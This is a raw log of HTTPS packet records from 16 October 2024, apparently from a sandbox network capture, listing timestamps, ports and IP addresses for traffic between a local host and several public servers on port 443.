Oct 16, 2024 17:56:17.920140028 CEST	443	49713	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:17.921175003 CEST	49713	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:17.921226025 CEST	443	49713	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:17.921286106 CEST	49713	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:17.923604012 CEST	49716	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:17.923648119 CEST	443	49716	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:17.923823118 CEST	49716	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:17.923911095 CEST	49716	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:17.923923016 CEST	443	49716	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:18.392973900 CEST	443	49714	142.250.185.100	192.168.2.5
Oct 16, 2024 17:56:18.394536018 CEST	49714	443	192.168.2.5	142.250.185.100
Oct 16, 2024 17:56:18.394556999 CEST	443	49714	142.250.185.100	192.168.2.5
Oct 16, 2024 17:56:18.395910025 CEST	443	49714	142.250.185.100	192.168.2.5
Oct 16, 2024 17:56:18.395981073 CEST	49714	443	192.168.2.5	142.250.185.100
Oct 16, 2024 17:56:18.397916079 CEST	49714	443	192.168.2.5	142.250.185.100
Oct 16, 2024 17:56:18.397985935 CEST	443	49714	142.250.185.100	192.168.2.5
Oct 16, 2024 17:56:18.447789907 CEST	49714	443	192.168.2.5	142.250.185.100
Oct 16, 2024 17:56:18.447804928 CEST	443	49714	142.250.185.100	192.168.2.5
Oct 16, 2024 17:56:18.496402025 CEST	49714	443	192.168.2.5	142.250.185.100
Oct 16, 2024 17:56:18.552350044 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:18.552448034 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 16, 2024 17:56:18.557754040 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 16, 2024 17:56:18.557759047 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:18.558152914 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:18.604231119 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 16, 2024 17:56:18.606240988 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 16, 2024 17:56:18.647432089 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:19.022639036 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:19.022769928 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:19.022846937 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 16, 2024 17:56:19.022919893 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 16, 2024 17:56:19.022957087 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:19.022980928 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 16, 2024 17:56:19.022998095 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:19.023421049 CEST	443	49716	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:19.025758982 CEST	49716	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:19.025787115 CEST	443	49716	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:19.026753902 CEST	443	49716	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:19.026839972 CEST	49716	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:19.029556036 CEST	49716	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:19.029618979 CEST	443	49716	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:19.029901028 CEST	49716	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:19.029910088 CEST	443	49716	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:19.063108921 CEST	49717	443	192.168.2.5	184.28.90.27
Oct 16, 2024 17:56:19.063148022 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:19.063319921 CEST	49717	443	192.168.2.5	184.28.90.27
Oct 16, 2024 17:56:19.063868999 CEST	49717	443	192.168.2.5	184.28.90.27
Oct 16, 2024 17:56:19.063886881 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:19.072746992 CEST	49716	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:19.309971094 CEST	443	49716	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:19.310487032 CEST	49716	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:19.310508013 CEST	443	49716	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:19.310574055 CEST	49716	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:19.312762976 CEST	49718	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:19.312784910 CEST	443	49718	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:19.312892914 CEST	49718	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:19.313108921 CEST	49718	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:19.313121080 CEST	443	49718	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:19.908273935 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:19.908365965 CEST	49717	443	192.168.2.5	184.28.90.27
Oct 16, 2024 17:56:19.909615040 CEST	49717	443	192.168.2.5	184.28.90.27
Oct 16, 2024 17:56:19.909629107 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:19.909967899 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:19.911154985 CEST	49717	443	192.168.2.5	184.28.90.27
Oct 16, 2024 17:56:19.951401949 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:20.156023979 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:20.156191111 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:20.156265974 CEST	49717	443	192.168.2.5	184.28.90.27
Oct 16, 2024 17:56:20.156904936 CEST	49717	443	192.168.2.5	184.28.90.27
Oct 16, 2024 17:56:20.156904936 CEST	49717	443	192.168.2.5	184.28.90.27
Oct 16, 2024 17:56:20.156927109 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:20.156938076 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 16, 2024 17:56:20.199167013 CEST	443	49718	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:20.199552059 CEST	49718	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:20.199562073 CEST	443	49718	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:20.200534105 CEST	443	49718	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:20.200587988 CEST	49718	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:20.201010942 CEST	49718	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:20.201066971 CEST	443	49718	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:20.201471090 CEST	49718	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:20.201478958 CEST	443	49718	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:20.247296095 CEST	49718	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:20.504128933 CEST	443	49718	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:20.504170895 CEST	443	49718	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:20.504276991 CEST	49718	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:20.504297018 CEST	443	49718	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:20.543720007 CEST	49718	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:20.592539072 CEST	49718	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:20.592623949 CEST	443	49718	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:20.592799902 CEST	443	49718	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:20.592864037 CEST	49718	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:20.592880964 CEST	49718	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:21.116429090 CEST	49719	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:21.116468906 CEST	443	49719	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:21.116554022 CEST	49719	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:21.120214939 CEST	49719	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:21.120239973 CEST	443	49719	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:21.971020937 CEST	443	49719	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:21.971303940 CEST	49719	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:21.971333027 CEST	443	49719	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:21.972342014 CEST	443	49719	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:21.972408056 CEST	49719	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:21.972753048 CEST	49719	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:21.972815037 CEST	443	49719	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:21.972970963 CEST	49719	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:21.972980976 CEST	443	49719	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:22.024420023 CEST	49719	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:22.221210957 CEST	443	49719	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:22.221249104 CEST	443	49719	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:22.221276045 CEST	443	49719	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:22.221302032 CEST	443	49719	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:22.221308947 CEST	49719	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:22.221338034 CEST	443	49719	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:22.221354008 CEST	49719	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:22.226833105 CEST	49719	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:22.226900101 CEST	443	49719	142.250.184.227	192.168.2.5
Oct 16, 2024 17:56:22.226955891 CEST	49719	443	192.168.2.5	142.250.184.227
Oct 16, 2024 17:56:22.246577978 CEST	49720	443	192.168.2.5	172.217.23.99
Oct 16, 2024 17:56:22.246618032 CEST	443	49720	172.217.23.99	192.168.2.5
Oct 16, 2024 17:56:22.246709108 CEST	49720	443	192.168.2.5	172.217.23.99
Oct 16, 2024 17:56:22.246902943 CEST	49720	443	192.168.2.5	172.217.23.99
Oct 16, 2024 17:56:22.246922016 CEST	443	49720	172.217.23.99	192.168.2.5
Oct 16, 2024 17:56:23.280366898 CEST	443	49720	172.217.23.99	192.168.2.5
Oct 16, 2024 17:56:23.280936956 CEST	49720	443	192.168.2.5	172.217.23.99
Oct 16, 2024 17:56:23.280966043 CEST	443	49720	172.217.23.99	192.168.2.5
Oct 16, 2024 17:56:23.281932116 CEST	443	49720	172.217.23.99	192.168.2.5
Oct 16, 2024 17:56:23.282042980 CEST	49720	443	192.168.2.5	172.217.23.99
Oct 16, 2024 17:56:23.282476902 CEST	49720	443	192.168.2.5	172.217.23.99
Oct 16, 2024 17:56:23.282541990 CEST	443	49720	172.217.23.99	192.168.2.5
Oct 16, 2024 17:56:23.282577038 CEST	49720	443	192.168.2.5	172.217.23.99
Oct 16, 2024 17:56:23.327414036 CEST	443	49720	172.217.23.99	192.168.2.5
Oct 16, 2024 17:56:23.337949038 CEST	49720	443	192.168.2.5	172.217.23.99
Oct 16, 2024 17:56:23.337960005 CEST	443	49720	172.217.23.99	192.168.2.5
Oct 16, 2024 17:56:23.383953094 CEST	49720	443	192.168.2.5	172.217.23.99
Oct 16, 2024 17:56:23.528031111 CEST	443	49720	172.217.23.99	192.168.2.5
Oct 16, 2024 17:56:23.528068066 CEST	443	49720	172.217.23.99	192.168.2.5
Oct 16, 2024 17:56:23.528259039 CEST	443	49720	172.217.23.99	192.168.2.5
Oct 16, 2024 17:56:23.528436899 CEST	443	49720	172.217.23.99	192.168.2.5
Oct 16, 2024 17:56:23.528577089 CEST	49720	443	192.168.2.5	172.217.23.99
Oct 16, 2024 17:56:23.528595924 CEST	443	49720	172.217.23.99	192.168.2.5
Oct 16, 2024 17:56:23.530134916 CEST	49720	443	192.168.2.5	172.217.23.99
Oct 16, 2024 17:56:23.562515974 CEST	49720	443	192.168.2.5	172.217.23.99
Oct 16, 2024 17:56:23.562572956 CEST	443	49720	172.217.23.99	192.168.2.5
Oct 16, 2024 17:56:23.562688112 CEST	49720	443	192.168.2.5	172.217.23.99
Oct 16, 2024 17:56:28.168986082 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:28.169023991 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:28.169184923 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:28.169462919 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:28.169495106 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:28.398108959 CEST	443	49714	142.250.185.100	192.168.2.5
Oct 16, 2024 17:56:28.398185968 CEST	443	49714	142.250.185.100	192.168.2.5
Oct 16, 2024 17:56:28.398240089 CEST	49714	443	192.168.2.5	142.250.185.100
Oct 16, 2024 17:56:28.931989908 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:28.932254076 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:28.933614969 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:28.933629990 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:28.934036016 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:28.942491055 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:28.983417988 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.192835093 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.192898989 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.192943096 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.193000078 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.193038940 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.193068981 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.193141937 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.313476086 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.313549042 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.313594103 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.313617945 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.313647985 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.313714981 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.385539055 CEST	49714	443	192.168.2.5	142.250.185.100
Oct 16, 2024 17:56:29.385617971 CEST	443	49714	142.250.185.100	192.168.2.5
Oct 16, 2024 17:56:29.432250977 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.432315111 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.432357073 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.432369947 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.432401896 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.432488918 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.551665068 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.551724911 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.551760912 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.551773071 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.551820993 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.551821947 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.670548916 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.670605898 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.670650959 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.670660973 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.670692921 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.670795918 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.789402008 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.789455891 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.789494991 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.789504051 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.789552927 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.789565086 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.908421040 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.908520937 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:29.908587933 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:29.908660889 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.043123960 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.043219090 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.043328047 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.043404102 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.044569969 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.044658899 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.044666052 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.044687986 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.044728041 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.044749022 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.162154913 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.162223101 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.162267923 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.162343025 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.162381887 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.162406921 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.268312931 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.268378019 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.268416882 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.268440008 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.268476963 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.268496990 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.608107090 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.608144999 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.608192921 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.608218908 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.608294010 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.608318090 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.608372927 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.610070944 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.610122919 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.610173941 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.610193968 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.610218048 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.610255957 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.612881899 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.612960100 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.612973928 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.613038063 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.613111019 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.613123894 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.613183022 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.613209963 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.613209963 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.613231897 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.613250971 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.670015097 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.670075893 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.670207024 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.670711994 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.670731068 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.673719883 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.673793077 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.673870087 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.674124002 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.674141884 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.675034046 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.675045013 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.675110102 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.677149057 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.677169085 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.677284956 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.677418947 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.677431107 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.678397894 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.678438902 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.678508997 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.678538084 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:30.678679943 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.678925991 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:30.678966999 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.411323071 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.411771059 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.411794901 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.412619114 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.413177967 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.413204908 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.415137053 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.415143013 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.415564060 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.415569067 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.416090012 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.416980982 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.416990995 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.417547941 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.417551994 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.422250032 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.422848940 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.422864914 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.423338890 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.423345089 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.428411961 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.431590080 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.431617022 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.432405949 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.432413101 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.539118052 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.539151907 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.539206028 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.539230108 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.539251089 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.539298058 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.539514065 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.539526939 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.543309927 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.543345928 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.543417931 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.543576956 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.543593884 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.543889046 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.543948889 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.544002056 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.544107914 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.544125080 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.544138908 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.544145107 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.546590090 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.546598911 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.546675920 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.546848059 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.546860933 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.549839973 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.549863100 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.549906969 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.549910069 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.549947977 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.550143003 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.550147057 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.550156116 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:31.550158978 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:31.552099943 CEST	49735	443	192.168.2.5	13.107.246.45
